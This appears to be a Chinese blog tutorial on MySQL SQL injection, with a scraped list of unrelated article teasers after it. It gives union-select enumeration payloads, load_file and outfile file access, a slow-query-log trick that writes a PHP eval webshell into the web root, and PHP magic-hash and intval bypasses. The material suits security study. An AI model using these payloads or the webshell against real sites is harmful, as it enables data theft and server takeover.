SQL注入 (一)

news/2024/4/28 0:07:21/文章来源:https://blog.csdn.net/ys1215/article/details/137119774

一、sql注入的简介

将一段内容传入到目标网站,这段内容会被当做程序来执行

二、MySQL扩展补充

mysql的结构

  • 表名
  • 字段
  • 数据

mysql的用户

  • 管理员:跨库、文件读写操作
  • 普通用户:猜解

判断目标网站的用户类别

  • 白盒:读代码
  • 黑盒:user()

使用mysql 5.0以上版本

mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做:information_schema 5.0以上为多用户。information_schema下面又包含了这几张表:schemata、tables、columns。

表1:schemata:记录了系统中所有的库名,包含一个关键字段

  • schema_name:保存的库名
select schema_name from information_schema.schemata

表1:tables:记录了系统中所有的表名,包含两个关键字段

  • table_schema:保存的库名
  • table_name:保存的表名
select table_name from information_schema.tables where table_schema=xxxx

表二:columns:记录当前系统中的字段名,包含三个关键字段

  • table_schema:保存的库名
  • table_name:保存的表名
  • column_name:字段名
select column_name from information_schema.columns where table_schema=xxx and table_name=xxx

SQL注入的常用函数

  • user()                当前所使用的用户名
  • datebase()        当前所使用的库名
  • version              当前MySQL的版本

三、SQL注入的流程

3.1 简介

常用的注入方法:

  • 手工注入
  • sqlmap
  • python+sqlmap

3.2 sql注入的流程

1. 判断是否存在漏洞

思路:向网站传入一个代码,检查是否为被执行,能执行就说明存在漏洞

and 1=1

and 1=2

or 1=2

or 1=1

4-3

2. 判断目标网站的数据库中的表中有几个字段

order by 数字

3. 找到网页中回显位

链接查询:在一个sql语句中,从两个表查数据

联合查询:依次先后执行两个sql语句 - union

4. 找到数据库的库名

database()

5. 找到数据库的表名

id=1 union select 11,table_name form information_schema.tables where table_schema='db001' limit 5,1

6. 找到字段名

id=1 union select 11,column_name form information_schema.columns where table_name='users'  limit 3,1

7. 找数据

id=1 union select user form users limit 2,1

四、管理员身份注入

文件读写

跨库

文件读写

load_file("目标文件")                    //可以读取文件内容"
select "内容" into outfile "目标文件"    //可以向网站目录下的文件里写内容

读取文件结果可能是NULL的可能原因

当前用户的权限问题,需要具有file权限

文件路径错误

Windows: 注意C:\\a.txt
linux: /etc/d.txt

文件大小超过上限

max_allowed_packet

查看环境变量

show global variables     // 全局
show session variables    // 会话

设置环境变量

set global 变量名=值
set session 变量名=值

文件读写权限控制

secure_file_priv=null    不允许进行读写操作
secure_file_priv=路径    只允许在特定的目录下进行读写操作
secure_file_priv=' '     允许随意进行读写操作

真实环境中secure_file_priv 往往都是处于开启状态的,绕过的基本思路就是结合慢查询日志

启动慢查询日志

set global show_query_log=on;

设置查询日志的保存路径【需要将其设置为网站根目录】

set global slow_query_log_file='d:\\web1\a.php';

触发慢查询

select "<?php eval($_GET['p']);?>"  or sleep(10);

此时就可以去访问a.php了

获取网站根目录的途径

1. 触发网站报错提醒

2. 利用phpinfo(),参数是document_root

3.利用load_file(),读取网站的配置文件中的document_root

linux配置文件的路径相对固定:apache 的配置文件: /etc/httpd/conf/httpd.confnginx  的配置文件: /etc/nginx/nginx.conf也可能在其他位置apache 的配置文件: /usr/local/httpd/conf/httpd.confnginx  的配置文件: /usr/local/nginx/conf/nginx.conf使用apache部署的网站根目录: /var/www/html
使用nginx部署大的网站根目录: /usr/share/htmlmysql的配置文件: /etc/my.cnfnginx 定义网站根目录的关键字:root
apache 定义网站根目录的关键字:DocumentRoot

五、php的相关函数

5.1 php的等号

=                ==                 ===

5.2 md5绕过

可以传入两个md5加密后是0e开头的字符串,需要注意的是,这个以0e开头的字符串只能是纯数字,这样PHP在进行科学算法的时候才会将它转化为0;可以查找以0e开头的md5加密相等的字符串,也可以自己编写代码,提供以下脚本。
常见的字符串有:byGcY、QNKCDZO、240610708、314282422

<?phpfor ($a=1;$a<=100000000;$a++){$md5=md5($a)if(preg_match('/^0e\d+$/',$md5)){// \d+ 表示一个或多个数字字符echo $a;echo "\n";echo $md5;echo "\n";}}
?>

5.3 intval

作用:进行数据类型转换成整数

返回结果:

  • 0:转换失败或者转换的对象是一个空数组
  • 1:对象是一个非空数组
  • 整数:成功

转换的目的:绕过输入限制,例如系统禁止输入6,那么就可以将6转换成二进制,八进制,十六进制

绕过的基本思路

当某个数字被过滤的时候,就可以将其转换为其他的进制格式的数字,例如过滤了10,可以将其转换为八进制

如果是弱比较,例如(3==b),系统禁止输入3

        可以写入3.1【小数】

        可以写3abc【字符串转数字绕过】

        可以写1+2  【运算绕过】

        可以写~~3  【连续两次取反】

数组绕过

        直接向网站传入数组元素,同时结合intval进行转换

案例:

var_dump(intval(012));
echo"<br>";
var_dump(intval(0xB));
echo"<br>";var_dump(intval(array()));
echo"<br>";
var_dump(intval(array('1111',22222)));
echo"<br>";var_dump(intval(1.2));
echo"<br>";
var_dump(intval("1.2"));
echo"<br>";var_dump(intval("abc123"));
echo"<br>";var_dump(intval("123abc"));
echo"<br>";var_dump(intval("012"));
echo"<br>";var_dump(intval(3+4));
var_dump(intval(3*4));
var_dump(intval(03+4));
var_dump(intval(03*4));
echo"<br>";

各种进制的开头

十进制:
二进制:0b  0B
八进制:0   0O  0o
十六进制:0x   0X

二进制binary

八进制octal

十进制decimal

十六进制hexadecimal

5.4 strpos

在指定的字符串中,定位特定的字符程序的位置

位置从0开始

返回结果:

  • 目标字符的索引值
  • Flash

5.5 is_array()

作用:在数组中搜索指定的值

安全隐患/绕过思路

检查是否有第三个参数,true

5.6 perg_match

返回值

0、1 匹配次数

false发生错误

绕过思路

%0a、大小写、数组

3.7 str_replace

返回结果是替换了目标内容后的结果字符串

绕过思路

大小写绕过
写绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_1026799.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在 Linux 中安装 Jenkins【图文详细教程】

安装 Jenkins 的系统要求&#xff1a; 最少 256MB 可用内存最少 1GB 可用磁盘空间JDK 8 / 11 /17&#xff08;Jenkins 是用 Java 写的&#xff0c;打包成 war 包&#xff09; 查看 JDK 的版本 Java JDK 在 Linux 中的安装可以参考&#xff1a;https://www.yuque.com/u27599042/…

实物档案管理系统是做什么的

实物档案管理系统是用于管理和组织实物档案的信息系统。它的主要功能包括记录、查找、归档实物档案&#xff0c;以及提供相关的管理功能。 具体来说&#xff0c;玖拓智能实物档案管理系统可以帮助单位完成以下任务&#xff1a; 1. 档案登记与归档&#xff1a;将新收到的实物档案…

斯坦福大学研究团队革新电机技术,助力机器人性能飞跃提升

文 | BFT机器人 在科技日新月异的今天&#xff0c;我们期望机器能够胜任的任务愈发复杂且多变。无论是为失去肢体的人提供动力的假肢&#xff0c;还是那些独立在外部世界自由穿梭的机器人&#xff0c;它们都需要在多种场景下展现出卓越的行动能力。 然而传统的标准电动机&…

mac电脑下安装和启动nginx

一,安装homebrew 必须安装了homebrew&#xff0c;可在终端输入命令brew -v查看是否已经安装,没安装的话安装一下: 如果未安装先安装&#xff08;网上很多文章&#xff09; 二,查看nginx是否存在 使用命令:brew search nginx查看nginx是否存在: 不存在的话,就使用brew inst…

服务消费微服务

文章目录 1.示意图2.环境搭建1.创建会员消费微服务模块2.删除不必要的两个文件3.检查父子模块的pom.xml文件1.子模块2.父模块 4.pom.xml 添加依赖&#xff08;刷新&#xff09;5.application.yml 配置监听端口和服务名6.com/sun/springcloud/MemberConsumerApplication.java 创…

社交革命:Facebook如何塑造数字社交的未来

引言 在当今数字化时代&#xff0c;社交媒体已成为人们生活的核心&#xff0c;而Facebook作为其中的领军者&#xff0c;一直在塑造着数字社交的未来。本文将深入探讨Facebook在数字社交领域的地位、影响力以及对未来社交的塑造作用&#xff0c;为读者揭示这场社交革命如何由Fa…

【MySQL】聊聊自增id用完怎么办?

在实际的开发中&#xff0c;一般都会将数据存储到数据库中&#xff0c;在设计表的时候&#xff0c;其实id如果达到最大值的话&#xff0c;会出现什么问题。其实主要分两种情况&#xff0c;一种是设置了主键id&#xff0c;另一种没有设置主键id。 表定义自增值id create table…

【Java程序设计】【C00389】基于(JavaWeb)Springboot的校园疫情防控系统(有论文)

基于&#xff08;JavaWeb&#xff09;Springboot的校园疫情防控系统&#xff08;有论文&#xff09; 项目简介项目获取开发环境项目技术运行截图 博主介绍&#xff1a;java高级开发&#xff0c;从事互联网行业六年&#xff0c;已经做了六年的毕业设计程序开发&#xff0c;开发过…

​ ​Redis(五)主从复制:主从模式介绍、配置、拓扑(一主一从结构、一主多从结构、树形主从结构)、原理(复制过程、​​​​​​​数据同步psync)、总结

接上次博客&#xff1a;Redis&#xff08;四&#xff09;&#xff1a;持久化和事务&#xff1a;RDB&#xff08;定期备份&#xff09;【触发机制、流程说明、文件的处理、优缺点】、AOF&#xff08;实时备份&#xff09;【使用AOF、命令写入、文件同步、重写机制、启动时数据恢…

鸿蒙HarmonyOS应用开发之创建NDK工程

下面通过DevEco Studio的NDK工程模板&#xff0c;来演示如何创建一个NDK工程。 说明&#xff1a; 不同DevEco Studio版本的向导界面、模板默认参数等会有所不同&#xff0c;请根据实际工程需要&#xff0c;创建工程或修改工程参数。 通过如下两种方式&#xff0c;打开工程创建向…

贪心算法相关题目

文章目录 1. 什么是贪心&#xff1f;2. 分发饼干3. 摆动序列4. 最大子数组和5. 买卖股票的最佳时机 II6. 跳跃游戏7. 跳跃游戏 II8.K 次取反后最大化的数组和9.加油站10.分发糖果11.柠檬水找零12.根据身高重建队列13.用最少数量的箭引爆气球14. 无重叠区间15.划分字母区间16.合…

学习鸿蒙基础(8)

一、BuilderParam装饰器 当开发者创建了自定义组件&#xff0c;并想对该组件添加特定功能时&#xff0c;例如在自定义组件中添加一个点击跳转操作。若直接在组件内嵌入事件方法&#xff0c;将会导致所有引入该自定义组件的地方均增加了该功能。为解决此问题&#xff0c;ArkUI引…

程序汪若依微服务华为云Linux部署保姆教程

若依官方有3个版本&#xff0c;程序汪以前已经出了对应的安装部署视频教程 单应用版本 前后分离版本 微服务版本 本视频是若依微服务版本&#xff0c;如果基础的环境软件都不会安装建议看下程序汪的单应用和前后端分离版本教程&#xff0c; 欢迎点击进入 &#xff08;单应…

开源流程图表库(01):Mermaid.js生成流程图、时序图、甘特图等

一、Mermaid.js的特点 Mermaid.js是一个用于生成流程图、时序图、甘特图等各种图表的开源库。它使用简洁的文本语法来描述图表结构&#xff0c;并将其转换为可视化的图形。 Mermaid.js的主要特点包括&#xff1a; 简洁易用&#xff1a;Mermaid.js使用简单的文本语法来描述图表…

嵌入式培训3-28

编写一条学生链表&#xff0c;写一些能够像链表里边添加数据的函数 实现&#xff1a;将链表中的所有内容保存到文件中去 以及 读取文件中的所有内容&#xff0c;加载到链表里面 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <ma…

Python爬虫如何快速入门

写了几篇网络爬虫的博文后&#xff0c;有网友留言问Python爬虫如何入门&#xff1f;今天就来了解一下什么是爬虫&#xff0c;如何快速的上手Python爬虫。 一、什么是网络爬虫 网络爬虫&#xff0c;英文名称为Web Crawler或Spider&#xff0c;是一种通过程序在互联网上自动获取…

初识C++之命名空间(namespace)

初识C之入门 命名空间(namespace) 文章目录 初识C之入门 命名空间(namespace)1.为什么要有命名空间2. 命名空间 namespace使用方法3. 作用域限定符(::&#xff09;和 命名空间(namespace)4. 命名空间的定义5. 命名空间的嵌套6. 命名空间的使用7. 总结 1.为什么要有命名空间 在C…

部署elementPlus离线版本

最近项目需要离线开发&#xff0c;不能联网查一些组件的api&#xff0c;于是决定搞一个离线版的文档 一、下载官方文档 下载地址 github地址 gitee地址 选择版本 直接下载压缩包 二、下载live-server插件 全局下载live-server插件 npm i live-server -gvscode下载 三…

Linux split分割xls或csv文件

文件名&#xff1a;test.xls split -a 2 -d -l 100 test.xls test-a 2&#xff1a;后缀是2位 -d&#xff1a;后缀数字 -l 100 &#xff1a;每100行一个文件 test.xls&#xff1a;需要分割的文件名 test&#xff1a;分割后的文件前缀批量修改文件后缀 for i in test*; do mv $…

三位数组合-第12届蓝桥杯选拔赛Python真题精选

[导读]&#xff1a;超平老师的Scratch蓝桥杯真题解读系列在推出之后&#xff0c;受到了广大老师和家长的好评&#xff0c;非常感谢各位的认可和厚爱。作为回馈&#xff0c;超平老师计划推出《Python蓝桥杯真题解析100讲》&#xff0c;这是解读系列的第42讲。 三位数组合&#…